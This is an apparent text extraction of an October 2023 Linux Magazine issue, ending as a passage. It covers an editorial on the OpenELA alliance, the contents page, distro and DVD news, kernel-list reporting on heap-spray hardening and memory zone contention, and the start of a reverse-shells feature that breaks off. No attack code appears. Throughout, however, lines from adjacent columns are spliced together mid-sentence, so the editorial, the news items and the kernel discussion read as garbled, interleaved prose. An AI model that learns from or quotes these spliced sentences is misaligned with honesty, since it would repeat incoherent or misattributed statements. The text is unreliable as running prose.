Compromising WordPress

FR D
+

DV
EE
Read this if you spend time on the web!

ISSUE 275 – OCTOBER 2023

Think like an

Know your enemy with these

real-world attack techniques

Lemmy: Free
alternative to Reddit CardStock: Add a GUI
to your Python app
Gesture Control: Follow
a recipe without getting Kopia: Stay safe with
batter on the keys regular backups
DietPi: Lean and fast
distro for the Rasp Pi
10 TANTALIZING
FREE TOOLS!
W W W. L I N U X - M A G A Z I N E . C O M
 EDITORIAL
Welcome

MUSICAL CHAIRS
Dear Reader,
Last month I used this space to talk about IBM/Red Hat’s So far so good, but a word of caution: There are many
plan to restrict access to Red Hat Enterprise Linux (RHEL) complications to companies teaming up to produce a
source code. This eerie announcement, which seemed shared product that is vital to their individual livelihoods.
quite contrary to the ideals of free software, sent shock It is way more difficult to maintain a full enterprise Linux
waves through the community. Some said it violated the distribution than it is to write a check every year to the
spirit of the GPL, and others argued it was necessary to Apache Software Foundation or send a few developers to
stop the clones from stealing Red Hat’s business. Every- work on the kernel. Ultimately, each of the companies par-
one agreed that Red Hat had developed a novel argument ticipating in OpenELA will have to sublimate their own pri-
that could potentially allow them to skirt around the orities for the project to stay on track.
code-sharing protections of the GPL, and the general Back in 2005, a group of Debian-derivative distros an-
feeling was that the matter would only be settled after a nounced that they were banding together to form the
protracted courtroom battle. Debian Common Core (DCC) Alliance [2], which would
Regardless of where this episode ends legally, it is now work communally to provide a foundation of common
clear that Red Hat’s clones and other competitors are not components they hoped would streamline development
planning to wait for the courts. Various distros have and “encourage commercial adoption” of Debian-based
come up with various plans, some of which I covered last systems. As soon as they started, though, it became
month. This month, the big news is that Oracle, SUSE, clear why the participants were separate distros in the
and CIQ have joined forces to launch the Open Enterprise first place and not a single Linux. The DCC Alliance was
Linux Association (OpenELA). fraught with disagreements and only lasted for two
OpenELA refers to itself as “a collaborative trade associa- years. Admittedly, some of the companies putting
tion to encourage the development of distributions com- money into the project were having their own financial
patible with Red Hat Enterprise Linux (RHEL) by providing issues (who remembers Xandros and Linspire?) But the
open and free Enterprise Linux (EL) source code” [1]. It fact is, a project of this magnitude requires hundreds of
would take a long time to explain why this organization decisions, and there are many reasons why different
would be able to provide access to Red-Hat-compatible companies would want to make those decisions in dif-
source code when Red Hat itself restricts access. Suffice it ferent ways. Companies don’t make money by sharing
to say that Red Hat figured out a legal hack to the GPL, and everything – they make money by differentiating. When
the companies behind OpenELA have several options for corporations try to collaborate and compete at the same
how to hack the hack. time, they sometimes end up playing musical chairs like
the generals in Evita.
The legal arguments will have to play out in court – I’m
more interested in what this new organization is, what it Oracle and SUSE, for instance, aren’t exactly best bunk-
will do, and whether or not it will succeed. OpenELA is mates. It is true that SUSE supports Oracle database sys-
exciting for a number of reasons. First of all, it ensures tems, but it is also true that Oracle likes to claim “Oracle
ongoing free access to the Enterprise Linux code base, database runs best on Oracle Linux” [3]. SUSE, on the other
which will help to avoid the fragmentation and needless hand, is the leading system for supporting SAP’s HANA
incompatibility that often confounds Linux users. An- database and ERP software, which competes directly with
other important benefit of this change is that it reasserts Oracle’s Fusion Cloud ERP suite. CIQ is a smaller player
the free software vision just when it seemed to be slip- than the others, but one of their areas of interest is HPC,
ping away. The GPL is supposed to be eternally self-cor- which has long been a strength for SUSE.
recting. No vendor can corner the market, because if The vendors behind OpenELA
they try to restrict access, the community responds by will have to stay together and
forking the code and offering alternatives. keep their eyes on the prize if
they want to avoid slipping into
a game of musical chairs.
Info
[1] Open Enterprise Linux Association: [Link]
[2] Debian Common Core Alliance:
[Link] Joe Casad,
[3] Oracle Database Runs Best on Oracle Linux: [Link] Editor in Chief
[Link]/linux/technologies/[Link]

[Link] ISSUE 275 OCTOBER 2023 3

 OCTOBER 2023

ON THE COVER
34 Compromising WordPress 68 Gesture-Controlled Book
WordPress powers the Internet, and PHP All the cooking with less of the mess: fun in the
powers WordPress. What could possibly go kitchen with a gesture sensor and gestured-
wrong? controlled image viewer.

43 CardStock 78 Lemmy
This free discussion platform is the perfect
Augment your Python apps with graphics,
replacement for users who are weary of
buttons, sounds, clip art, and more. Reddit.
64 DietPi 90 Kopia
Check out this lean and fast distro for the A user-friendly backup solution that interfaces
Raspberry Pi. easily with mainstream storage services.

NEWS REVIEWS
08 News
• Zorin OS 16.3 Available 40 Distro Walk – Fedora
• Linux Mint 21.2 Available for Installation Matthew Miller, Fedora Project Leader, discusses Fedora’s
• AlmaLinux Will No Longer Aim for 1:1 RHEL Compatibility relationship with Red Hat and its role in the Linux
• Canonical Announces Real-Time Ubuntu for Intel Core community.
• EU-US Data Privacy Framework Ensures Safe Data Transfers
• IEEE Releases New Standard for LiFi Communications

12 Kernel News IN-DEPTH

• Heap Hardening Against Hostile Spraying
• Core Contention Improvements … or Not 43 CardStock
CardStock provides a simple development environment for
building a Python graphical application.

COVER STORIES 48 Command Line – adequate

The adequate command-line tool helps users pinpoint
16 Understanding Reverse Shells problems with installed DEB packages.
Firewalls block shell access from outside the network. But
what if the shell is launched from the inside? 52 rename
The rename command is a powerful means to
22 Privilege Escalation simultaneously rename or even move multiple files
Even a small configuration error or oversight can create an following a given pattern.
opening for privilege escalation. These real-world escalation
techniques will help you understand what to watch for. 58 Programming Snapshot – Go Network
Diagnostics
28 Local File Inclusion Why is the WiFi not working? Instead of always typing the
A local file inclusion attack uses files that are already on same steps to diagnose the problem, Mike Schilli writes a
the target system. tool in Go that puts the wireless network through its paces
and helps isolate the cause.
34 How Attackers Slip Inside WordPress
WordPress is an incredibly popular tool for building
websites. Don’t think the attackers haven’t noticed. We’ll 95 Back Issues 97 Call for Papers
show you what to keep an eye on. 96 Events 98 Coming Next Month

4 OCTOBER 2023 ISSUE 275 [Link]

Think like an
Intruder
The worst case scenario is when the
attackers know more than you do about
your network. If you want to stay safe,
learn the ways of the enemy. This month 73 Welcome
we give you a glimpse into the mind This month in Linux Voice.

of the attacker, with a close look at 74 Doghouse – Copyright

privilege escalation, reverse shells, and The ideas about and methods for protecting software
rights have evolved as computers have moved from
other intrusion techniques. expensive and relatively rare to far more affordable
and ubiquitous.

75 Command-Line Screenshot Tools

MakerSpace Linux is awash in desktop screenshot tools, but what if you
want to take a quick screenshot from a terminal window?

64 DietPi 78 Lemmy – Reddit Alternative

The DietPi minimalist distribution improves the With Reddit closing off access to its API, it is time to look
performance of the Raspberry Pi and other single-board to the Fediverse for an alternative.
computers as servers and desktops and comes with more
than 200 specially chosen applications and services. 84 FOSSPicks
This month Graham looks at Gyroflow, gRainbow,
68 Gesture-Controlled Book Polyrhythmix, mfp, Mission Center, and more!
Have you found yourself following
instructions on a device for 90 Tutorial – Mastering Kopia
repairing equipment or been Data deduplication, encryption, compression,
halfway through a recipe, incremental backups, error correction, and support
up to your elbows in for snapshots and popular cloud storage
grime or ingredients, services: Kopia delivers.
then needing to turn or
scroll down a page?

@linux_pro
TWO TERRIFIC DISTROS
@linuxpromagazine
DOUBLE-SIDED DVD!
Linux Magazine SEE PAGE 6 FOR DETAILS

@linuxmagazine

[Link] ISSUE 275 OCTOBER 2023 5

DVD
This Month’s DVD

AlmaLinux 9.2 and blendOS

Two Terrific Distros on a Double-Sided DVD!

AlmaLinux 9.2 blendOS

64-bit
AlmaLinux is one of the leading replacements for With all the different ways to install packages, a
CentOS, which Red Hat stopped developing in 2020. distribution like blendOS was bound to happen
Like Centos, it is a drop-in replacement for Red Hat sooner or later. BlendOS simplifies package release
Enterprise Linux (RHEL), and its release numbers by supporting packages from Debian, Ubuntu,
continue the CentOS and RHEL numbering systems. In Fedora, Arch Linux, Kali Linux, AlmaLinux, and
fact, the 9.2 release, codenamed Turquoise Kodkod, Rocky Linux, as well as Android and web apps. Add
was released on the same day as RHEL’s 9.2 release. universal package systems like Flatpak and Snap,
Although AlmaLinux is only a couple of years old, as a and, in theory, blendOS should allow the installation
successor to Fedora and CentOS, AlmaLinux is a mature of almost any package you encounter.
distribution, and the 9.2 release in no exception. Like If that were not enough, blendOS provides an
earlier releases, the 9.2 release consists of packages immutable desktop, a structure that has gained
taken from the repositories of packages included in popularity in recent years. The characteristics of an
RHEL and tested and digitally signed by AlmaLinux. The immutable desktop are that neither users or
most recent release consists chiefly of security updates applications can modify it, the entire system is updated
and package upgrades, as well as AlmaLinux branding at the same time, and applications are isolated from
and the removal of RHEL branding. each other. The result is a more stable, secure system.
AlmaLinux’s target audience is corporate. However, users BlendOS has a broad appeal, but should appeal
might also download it to get a general sense of RHEL especially to gamers, those who want to try an
without having to register. Also, existing users of immutable desktop, and simply anyone who wants
AlmaLinux should install 9.2 as a security update. the widest selection of packages available.

Defective discs will be replaced. Please send an email to subs@[Link].

Although this Linux Magazine disc has been tested and is to the best of our knowledge free of malicious software and defects, Linux Magazine
cannot be held responsible and is not liable for any disruption, loss, or damage to data and computer systems related to the use of this disc.

6 OCTOBER 2023 ISSUE 275 [Link]

 NEWS
Updates on technologies, trends, and tools
THIS MONTH’S NEWS
08 • Nitrux 2.9.1 Available and
Uses a Newer Linux Kernel
Nitrux 2.9.1 Available and Uses a Newer
Linux Kernel
• Zorin OS 16.3 Available
• Mageia 9 RC1 Available
The developers of the systemd-free Linux distribution, Nitrux, have released a
for Download
new version of the operating system (version 2.9.1) which includes kernel 6.4.

09 • Linux Mint 21.2 Available

for Installation
This Debian-based distribution is immutable and uses the KDE Plasma desktop
environment as a base to form its own unique desktop, called NX Desktop.
Although this is just a point release, it shifts to the Liquorix Linux kernel, version
• AlmaLinux Will No
Longer Aim for 1:1 RHEL 6.4.8, the latest KDE software (including KDE Frameworks 5.108 and KDE Gear
Compatibility 23.04.3), and is built against Qt 5.15.5.
• More Online You’ll also find a few new bits, such as the Kernel Boot tool that simplifies the
process of booting different kernels. Another addition is the Hardware Probe Tool,

10 • Canonical Announces
Real-Time Ubuntu for
which makes hardware detection easier and more reliable. As well, fuse-overlayfs
has been added for rootless containers. Finally, you’ll enjoy built-in support for App-
Intel Core Images and a suite of convergent applications (called Maui Apps), such as Index,
• EU-US Data Privacy Nota, Station, VVave, Pix, Clip, Buho, and Shelf.
Framework Ensures Safe Other software highlights include the latest NVIDIA proprietary drivers (version
Data Transfers 535.86.05), the latest MESA stack (23.3), an updated patch for the AMD Zdnbleed
• IEEE Releases New vulnerability, and Firefox 116.
Standard for LiFi You can read the full release announcement here and download an ISO from the
Communications official download page ([Link] ).

Zorin OS 16.3 Available

If you’re a fan of Zorin (or of user-friendly open source operating systems), you
should be excited about the new 16.3 release.
This latest upgrade includes the highly anticipated Zorin OS Upgrader, which al-
lows users to easily upgrade between releases and editions of Zorin OS without
having to re-install the OS. With the new upgrader, you can even go from, say, Zorin
OS 16 Core to Zoron OS 16 Pro or Zorin OS 15 to Zorin OS 16. This feature has been
in development for over a year and is now considered stable.
Other improvements include new features for Zorin Connect, which allows you to
run commands on your computer directly from the Android power menu, improved
playback controls when Spotify is playing content on your computer, a monochrome
icon for Android 13+, and more.
You’ll also find the latest version of popular apps such as LibreOffice, as well as
built-in support for Flatpak, AppImage, and Snap.
Zorin OS 16.3 is powered by the same kernel that ships with Ubuntu 22.04 LTS
and includes updated drivers to support even more hardware (such as NVIDIA’s
GeForce RTX 4070, 4060 Ti, and 4060).
Version 16.3 has already been officially released. You can download an ISO
from the official Zorin OS download page ([Link] ).

Mageia 9 RC1 Available for Download

The first release candidate of Mageia 9 is now available. This first look at the latest
release follows the last beta release from May 2023 and has resolved several
“stubborn” issues as well as included a number of security fixes and updates.

8 OCTOBER 2023 ISSUE 275 [Link]

 NEWS
Linux News

In terms of updated packages, you’ll find kernel 6.4.3, glib 2.36, gcc 12.3.0, rpm
4.18.0, Chromium 114.0.5735.198, Firefox ESR 102.13, LibreOffice [Link], and MORE ONLINE
Mesa 23.1.3.
As far as desktops are concerned, Mageia 9 makes available the following: KDE
Plasma 5.27.5, Gnome 44.2, Xfce 4.18.4, and LXQt 1.3.0. Linux Magazine
You’ll find installation media for both 32- and 64-bit architecture. The latest release in- [Link]
stallation media has been reduced in size and is, in fact, the smallest since Mageia 4.
It’s also important to note that the Mageia RPM database no longer uses the old, ADMIN HPC
unmaintained Berkeley DB. In its place, Mageia 9 uses SQLite. If you’re upgrading [Link]
from version 8 of the OS, that database will be automatically converted. Getting Data Into and Out of the Cluster
As expected, this is still a testing release and shouldn’t be used for production or • Jeff Layton
your daily driver. A basic question when getting into HPC is
You can read the full release notes ([Link] how to get data into and out of the cluster
lease_Notes) and download the RC1 candidate from the official Mageia download from local Linux and Windows machines.
page ([Link] ).
ADMIN Online
[Link]
Linux Mint 21.2 Available for Installation
Secure Microservices with Centralized Zero
Linux Mint 21.2, “Victoria,” is now available for general usage. This latest release in- Trust
cludes a number of improvements, including a brand new take on the Greeter, • Abe Sharp
which now has support for multiple keyboard layouts so you can easily switch. SPIFFE and SPIRE put strong workload identi-
As well, the touchpad was given some significant love such that tap-to-click is ties at the center of a zero-trust architecture.
now automatically detected and enabled in the login screen. Users can also now They improve reliability and security by tak-
configure the virtual keyboard. ing the responsibility for identity creation and
The Pix image viewer has also been re-based on gThumb 3.12.2 with a new UI management away from individual services
and workloads.
that features header bars and buttons in place of toolbars and menubars. Along with
the UI change, there have been 168 total new features for this one app alone. Pentest Your Web Server with Nikto
The look and feel of Linux Mint was also given some interesting tweaks. This in- • Matthias Wübbeling
cludes two-tone icons and alternative color selections. Check your web servers for known
Other changes include improved tooltips and title bars, XDG Desktop Portal vulnerabilities.
support added to XApp, a number of changes to Cinnamon 5.8 (such as the new
Passkeys Eliminate the Need for Password-
Styles feature), improved notifications, gesture support, a resizable main menu,
Based Authentication
experimental theme support for bumpmap and blur, multi-threaded thumbnails
• Mark Zimmermann
in Nemo, improvements for Warpinator, and much more. In addition, low-level Passwords are becoming a thing of the past.
battery notifications for connected devices can now be disabled. We look into the basic weaknesses of pass-
Read the full Linux Mint 21.2 release notes ([Link] words, explain what passkeys are all about,
ria_cinnamon_whatsnew.php) and download an ISO from the official Linux Mint and assess their practicality.
Download page ([Link]

AlmaLinux Will No Longer Aim for 1:1

RHEL Compatibility
Now that third parties no longer have unfettered access to the RHEL source code,
distributions such as Rocky Linux, AlmaLinux, and Oracle Linux have had to rethink
how they build their operating systems.
For the longest time, the main appeal of these operating systems was that they
were 1:1 compatible with Red Hat Enterprise Linux. With that no longer a simple
and cost-effective option, those distributions have had to make drastic changes.
The company behind AlmaLinux says they will no longer focus on being 1:1 com-
patible with RHEL but, instead, will maintain ABI compatibility. What this means is
that AlmaLinux will be Application Binary Interface compatible with RHEL. In other
words, AlmaLinux will be able to link pre-built libraries with compiled binaries.
On this matter, Benny Vasquez, Chair of the Board, AlmaLinux OS Foundation,
said this in the official AlmaLinux blog ([Link]
inux/): “One of the first things you will see is that we will include comments in our
patches that include a link to where we got the patch that’s been applied (like
Grafana’s release yesterday). This change is helpful for several reasons, but it
helps us specifically further our goal of transparency.”

[Link] ISSUE 275 OCTOBER 2023 9

NEWS
Linux News

Vasquez added, “Now that we will no longer be holding ourselves to being a 1:1 Red
Hat downstream rebuild, we are taking some time to consider the possibilities around
what that means. We will continue to provide updates around that process and will
include the members of the AlmaLinux OS Foundation in that conversation and deci-
sion-making process as well.”
AlmaLinux is committed to being a good open-source citizen and will continue to contrib-
ute upstream in Fedora, CentOS Stream, and the “greater enterprise Linux ecosystem.”

Canonical Announces Real-Time Ubuntu

for Intel Core
Canonical and Intel have joined forces to deliver real-time Ubuntu for industrial systems,
according to a recent announcement ([Link]
tems). “The solution enables enterprises to harness the power of optimized Linux on
Intel silicon for a wide range of use cases, from telco workloads to life-saving medical
equipment, and automation systems for the factory floor,” the announcement says.
The solution is now generally available on Intel Core processors and supports Intel
Time Coordinated Computing (TCC) and IEEE 802.1 Time Sensitive Networking (TSN)
([Link] ).
TSN primarily focuses on the network space, explains Edoardo Barbieri ([Link]
com/blog/real-time-industrial-systems), ensuring that time-sensitive applications and
workloads receive the necessary processing and network priorities. “With the addition of
TCC and TSN, enterprises can achieve enhanced performance, time synchronization, and
temporal isolation at the silicon layer,” he says.

EU-US Data Privacy Framework Ensures

Safe Data Transfers
The European Commission (EC) has adopted an adequacy decision for the EU-US Data
Privacy Framework. “The decision concludes that the United States ensures an adequate
level of protection – comparable to that of the European Union – for personal data trans-
ferred from the EU to US companies under the new framework,” the announcement
states ([Link]
This decision means that “personal data can flow safely from the EU to US companies
participating in the Framework, without having to put in place additional data protection
safeguards.”
Additionally, US companies can now self-certify their compliance ([Link]
[Link]/news/press-releases/2023/07/data-privacy-framework-program-
launches-new-website-enabling-us) with the EU-US Data Privacy Framework to facilitate
cross-border transfers of personal data in compliance with EU law.

IEEE Releases New Standard for LiFi

Communications
The Institute of Electrical and Electronics Engineers (IEEE) has released 802.11bb
([Link] ) as a standard for light-based
wireless communications.
“LiFi is a wireless technology that uses light rather than radio frequencies to transmit data. By
Get the latest news harnessing the light spectrum, LiFi can unleash faster, more reliable wireless communications
with unparalleled security compared to conventional technologies such as WiFi and 5G,”
in your inbox every according to this statement from global proponents of the technology: [Link]
week global-ifi-firms-welcome-the-release-of-ieee-802-11bb-global-light-communications-standard/ .
LiFi complements WiFi and 5G technologies and integrates easily with existing infra-
Subscribe FREE structures, says Dominic Schulz, lead of LiFi development at Fraunhofer HHI. Addition-
to Linux Update ally, it offers “high-speed mobile connectivity in areas with limited RF, like fixed wire-
[Link]/Linux-Update less access, classrooms, medical, and industrial scenarios.”

10 OCTOBER 2023 ISSUE 275 [Link]

NEWS
Kernel News

Zack’s Kernel News

Heap Hardening Against determined at each time of allocation,
which could be bypassed by repeatedly
Hostile Spraying spraying in brute force). In this way, the
Ruiqi Gong wanted to address the ge- vulnerable object and memory allocated
neric security threat of “heap spraying” in other subsystems and modules will
in the Linux kernel. Heap spraying is (most probably) be on different slab
when an attacker knows the memory ad- caches, which prevents the object from
dress of a critical part of the system and being sprayed.”
makes a large number of malloc() calls He posted some benchmarks compar-
trying to allocate memory at that specific ing the kernel with and without his
address. In the event of certain types of patch, which showed a small perfor-
kernel bugs, one of those malloc() calls mance hit. And this is the crux of the de-
might succeed, giving the attacker the bate over hardening the kernel against
ability to overwrite the critical part of such attacks versus only fixing known
Chronicler Zack Brown reports the system with their own malicious bugs and vulnerabilities.
code. Heap spraying is not a security As Hyeonggon Yoo put it, “I don’t
on the latest news, views, vulnerability in itself, because user soft- think adding a hardening feature by sac-
dilemmas, and developments ware could legitimately want to issue rificing one digit percent performance
within the Linux kernel many malloc() calls. Rather, heap spray- (and additional complexity) is worth [it].
ing is a way to exploit other bugs that Heap spraying can only occur when the
community. may exist in the kernel. kernel contains security vulnerabilities,
By Zack Brown Because heap spraying itself is not a bug and if there is no known ways of per-
or vulnerability, it poses a fascinating forming such an attack, then we would
problem in terms of how best to reduce simply be paying a consistent cost.”
the ability of attackers to make use of it. Pedro Falcato replied, “And does the
For example, Ruiqi pointed out that slab kernel not contain security vulnerabili-
caches can be shared among different sub- ties? :v This feature is opt-in and locked
systems and modules. A slab cache is a re- behind a CONFIG_ and the kernel most
gion of memory allocated all at once on certainly has security vulnerabilities.
the grounds that the calling routine knows So… I don’t see why adding the harden-
it will need that much memory eventually. ing feature would be a bad idea.”
Slab caches are more efficient than Ruiqi amplified Pedro’s sentiment,
doing a bunch of piecemeal allocations saying, “unfortunately there are always
as-needed, but they also present a visible security vulnerabilities in the kernel,
target for heap spraying attacks. At the which is a fact that we have to admit.
same time, as Ruiqi said, it wouldn’t be Having a useful mitigation mechanism at
realistic to disable slab caching in the the expense of a little performance loss
kernel, because that feature is in wide would be, in my opinion, quite a good
use by user software, all of which would deal in many circumstances. And people
need to be rewritten and would suffer a can still choose not to have it by setting
significant performance penalty. the config to n.”
Ruiqi posted a patch, proposing the Vlastimil Babka also replied, “as a
following mitigating approach. He said, slab maintainer I don’t mind adding
Author “to efficiently prevent heap spraying, we such things if they don’t complicate
The Linux kernel mailing list comprises propose the following approach: to cre- the code excessively, and have no over-
the core of Linux development activities. ate multiple copies of generic slab head when configured out. This one
Traffic volumes are immense, often caches that will never be merged, and would seem to be acceptable at first
reaching 10,000 messages in a week, and random one of them will be used at allo- glance, although maybe the CONFIG
keeping up to date with the entire scope cation. The random selection is based on space is too wide, and the amount of
of development is a virtually impossible the address of code that calls ‘kmal- #defines in slab_common.c is also
task for one person. One of the few brave loc()’, which means it is static at run- large (maybe there’s a way to make it
souls to take on this task is Zack Brown. time (rather than dynamically more concise, maybe not).”

12 OCTOBER 2023 ISSUE 275 [Link]

 NEWS
Kernel News

However, he went on to say, “But I And Kees said in summary, “So, yes, released for the next process that needs
don’t have enough insight into harden- I think this is worth it, but I’d like to the resource. This is what gives the op-
ing to decide if it’s a useful mitigation see what design holes Jann can poke in erating system the illusion of running
that people would enable, so I’d hope for it first. :)” everything all at once, having multiple
hardening folks to advise on that.” Hyeonggon felt now that his perfor- pieces of software reading and writing
Ruiqi replied, “For the effectiveness of mance objections had actually been an- to memory, and so on. In reality, all
this mechanism, I would like to provide swered, and the minor performance hit processes take turns.
some results of the experiments I did. I seemed like an appropriate trade-off. With the growing number of CPU
conducted actual defense tests […] by At this point, the developers dove into cores, Ying said, cores were starting to
reverting fixing patch to recreate exploit- an implementation discussion, which form long lines waiting for locks to be
able environments, and running the ex- eventually petered out. freed so they could access the zones of
ploits/PoCs on the vulnerable kernel In spite of this particular discussion memory they needed. While they
with and without our randomized kmal- seeming to fall in favor of Ruiqi’s pro- waited, those cores had to just sit idle.
loc caches patch. With our patch, the posed hardening feature, there does re- This wouldn’t bring the system to a
originally exploitable environments were main a heated debate among developers standstill, he said. But as he put it, “For
not pwned by running the PoCs.” – not just Linux kernel, but in the oper- example, on an 2-socket Intel server ma-
Kees Cook came into the discussion ating system space generally – as to chine with 224 logical CPUs, if the ker-
at this point, saying that he heartily where to draw the line. I know Linus nel is built with `make -j224`, the zone
agreed with the need for better ap- Torvalds has at one time or another ex- lock contention cycles% can reach up to
proaches to heap spraying attacks and pressed reluctance to include features about 12.7%.” With his patch series, he
other potential exploits, in particular aimed at attacks that may never succeed went on to say, “the zone lock conten-
Use After Free (UAF). UAF is a type of because the bugs they rely on don’t tion cycles% reduces to less than 1.6%
vulnerability where memory that has exist, in favor of fixing known security in the above kbuild test case when 4
been freed still contains private data holes as they appear. That particular de- zone instances are created for
that can be accessed by any hostile bate can get quite heated, and I’d be in- ZONE_NORMAL.”
code that looks at it. terested to learn about the final outcome That is a significant improvement.
Kees said of Ruiqi’s slab cache patch, of this particular patch, which seems to Ying achieved this by splitting memory
“This is a nice balance between the have such a low cost to overall zones into multiple instances of the
best option we have now (‘slub_no- efficiency. same zone type. As he put it, “we will
merge’) and most invasive changes create one zone instance for each
(type-based allocation segregation, Core Contention about 256 GB memory of a zone type
which requires at least extensive com- Improvements … or Not generally. That is, one large zone type
piler support), forcing some caches to Ying Huang from Intel posted a set of will be split into multiple zone in-
be ‘out of reach’.” patches to address the problem of CPUs stances. Then, different logical CPUs
Kees found Ruiqi’s benchmarks to contending with each other for access to will prefer different zone instances
show a relatively tiny impact on the ker- system resources, especially RAM. There based on the logical CPU No. So the
nel, which pleased him greatly. And he are already mechanisms in place in the total number of logical CPUs contend
gave some comments relating Ruiqi’s kernel to handle memory allocations, so on one zone will be reduced. Thus the
work to other similar work: Ying’s patches generated quite a bit of scalability is improved.”
“Back when we looked at cache quar- discussion. Ying added, “another choice is to cre-
antines, Jann pointed out that it was still Generally, memory is divided into ate zone instances based on the total
possible to perform heap spraying – it “zones,” with ZONE_NORMAL representing number of logical CPUs. We choose to
just needed more allocations. In this case, ordinary RAM, and other zones, such as use memory size because it is easier to
I think that’s addressed (probabilisti- ZONE_DMA, ZONE_MOVABLE, ZONE_DEVICE, etc., be implemented. In most cases, the more
cally) by making it less likely that a representing regions of memory with the cores, the larger the memory size is.
cache where a UAF is reachable is merged special characteristics. As Ying put it, And, on system with larger memory size,
with something with strong exploitation “all cores in one physical CPU will con- the performance requirement of the page
primitives (e.g. msgsnd). tend for the page allocation on one zone allocator is usually higher.”
“In light of all the UAF attack/defense in most cases. This causes heavy zone Dave Hansen, also from Intel, replied:
breakdowns in Jann’s blog post lock contention in some workloads. And “A few anecdotes for why I think _
([Link] the situation will become worse and some_ people will like this:
com/2021/10/how-simple-linux-kernel- worse in the future.” “Some Intel hardware has a ‘RAM’
[Link]), I’m curious where this As with all operating systems that run caching mechanism. It either caches
defense lands. It seems like it would multiple simultaneous processes, Linux DRAM in High-Bandwidth Memory or
keep the primitives described there (i.e. implements locks so that only one pro- Persistent Memory in DRAM. This
‘upgrading’ the heap spray into a page cess can access a given resource – in cache is direct-mapped and can have
table ‘type confusion’) would be ad- this case a zone of memory – at a given lots of collisions. One way to prevent
dressed probabilistically just like any time. In general, a lock is held for a mi- collisions is to chop up the physical
other style of attack.” croscopic amount of time and then memory into cache-sized zones and let

[Link] ISSUE 275 OCTOBER 2023 13

NEWS
Kernel News

users choose to allocate from one zone. too avoids locking the zone in order to However, David Hildenbrand and Mi-
That fixes the conflicts. replenish the cache. chal did not agree.
“Some other Intel hardware a ways to Ying replied to Michal’s email, say- David Hildenbrand explained his over-
chop a NUMA node representing a single ing, “PCP does improve the page alloca- all position:
socket into slices. Usually one slice gets a tion scalability greatly! But it doesn’t “Well, the zone is kind-of your “global”
memory controller and its closest cores. help much for workloads that allocating memory provider, and PCPs cache a frac-
Intel calls these approaches Cluster on pages on one CPU and free them in dif- tion of that to avoid exactly having to
Die or Sub-NUMA Clustering and users ferent CPUs. PCP tuning can improve mess with that global datastructure and
can select it from the BIOS. the page allocation scalability for a lock contention. […] As soon as you
“In both of these cases, users have re- workload greatly. But it’s not trivial to manage the memory in multiple zones of
ported scalability improvements. We’ve find the best tuning parameters for vari- the same kind, you lose that “global”
gone as far as to suggest the socket-split- ous workloads and workload run time view of your memory that is of the same
ting options to folks today who are hit- statuses (workloads may have different kind, but managed in different bucks.
ting zone scalability issues on that loads and memory requirements at dif- You might end up with a lot of memory
hardware. ferent time). And we may run different pressure in a single such zone, but still
“That said, those _same_ users some- workloads on different logical CPUs of have plenty in another zone. […] As one
times come back and say something the system. This also makes it hard to example, hot(un)plug of memory is easy:
along the lines of: ‘So… we’ve got this find the best PCP tuning globally. It there is only a single zone. No need to
app that allocates a big hunk of memory. would be better to find a solution to im- make smart decisions or deal with hav-
It’s going slower than before.’ They’re fill- prove the page allocation scalability out ing memory we’re hotunplugging be
ing up one of the chopped-up zones, hit- of box or automatically.” stranded in multiple zones.”
ting _some_ kind of undesirable reclaim Michal replied, “this makes sense. David Hildenbrand concluded, “I re-
behavior […]. Does that mean that the global pcp tun- ally don’t like the concept of replicat-
“Anyway, _if_ you do this, you might ing is not keeping up and we need to be ing zones of the same kind for the
also consider being able to dynamically able to do more auto-tuning on local same NUMA node. But that’s just my
adjust a CPU’s zonelists somehow. That bases rather than global?” personal opinion maintaining some
would relieve pressure on one zone for Ying said, “I think that PCP helps the memory hot(un)plug code :).”
those uneven allocations.” good situations performance greatly, and Michal said, “Increasing the zone
Ying replied, “Yes. For the require- splitting zone can help the bad situations number sounds like a hack to me TBH. It
ments you mentioned above, we need scalability. They are working at the dif- seems like an easier way but it allows
a mechanism to adjust a CPU’s zonel- ferent levels.” He added, “As for PCP more subtle problems later on. E.g. hard
ists dynamically. I will not implement auto-tuning, I think that it’s hard to im- to predict per-zone memory consump-
that in this series. But I think that it’s plement it to resolve all problems (that tion and memory reclaim disbalances.”
doable based on the multiple zone in- is, makes PCP never be drained). And Ying concluded the debate, saying, “At
stances per zone type implementation auto-tuning doesn’t sound easy.” least, we all think that improving PCP is
in this series.” David Hildenbrand replied, “I agree something deserved to be done.” He said
Elsewhere, Ying’s whole approach was with Michal that looking into auto-tun- he would look into it himself at some
called into question. ing PCP would be preferred.” And he point, and the discussion ended there.
Michal Hocko said, “It is not really added, “If we could avoid instantiating This discussion is fascinating to me,
clear to me why you need a new zone more zones and rather improve exist- because it represents two important val-
for all this rather than partition free lists ing mechanisms (PCP), that would be ues: the desire to speed things up ver-
internally within the zone?” He added, much more preferred IMHO. I’m sure sus the desire to keep the code main-
“I am also missing some information it’s not easy, but that shouldn’t stop us tainable. Ying’s patches resulted in
why pcp caches tunning is not from trying ;).” quite a significant boost in overall effi-
sufficient.” Ying absolutely agreed that “improv- ciency of multicore CPUs. Yet Dave
Per-CPU Pageset (PCP) caching is an- ing PCP or adding another level of cache Hansen and Michal felt that they repre-
other way, already in the kernel, to re- will help performance and scalability.” sented a change that would complicate
duce zone lock contention. Each CPU And he also said that “it has value too to future development decisions that
core allocates a cache of memory ahead improve the performance of zone itself. might have to be made. Although per-
of time, just for its own use. When pro- Because there will be always some cases haps a more difficult problem in the
cesses on that core request memory ac- that the zone lock itself is contended.” short term, they felt that improving PCP
cess, it’s taken out of that cache, thus He added pointedly, “That is, PCP and caching would avoid those complexities
avoiding the need to request a lock on zone works at different level, and both while potentially achieving an effi-
that memory zone. Because the mem- deserve to be improved.” And contin- ciency improvement similar to Ying’s
ory has already been allocated, there’s ued, “I do agree that it’s valuable to zone-splitting patchset. Still, it’s hard to
no risk of any other process trying to make PCP etc. cover more use cases. I overlook Ying’s performance improve-
use it. Meanwhile, PCP caches are re- just think that this should not prevent us ments. It’s possible that if no equivalent
plenished by reclaiming memory that’s from optimizing zone itself to cover re- PCP improvements are found soon, his
no longer needed by its process – this maining use cases.” patches might make a comeback. Q Q Q

14 OCTOBER 2023 ISSUE 275 [Link]

Understanding reverse shells

Shell Game
Firewalls block shell access from outside the network. But what if the
shell is launched from the inside? By Chris Binnie

R
ecently, I’ve forward shell) is where
thoroughly en- a target machine (the
joyed brushing machine under attack)
up my offensive can be accessed re-
security skills. I’ve motely by the attacker
worked in the defensive over the network. For
security field for longer purposes of this article,
than I care to remember, a bind shell is pre-
and gaining more in- sented over a network
sight into how attackers port in a way that an
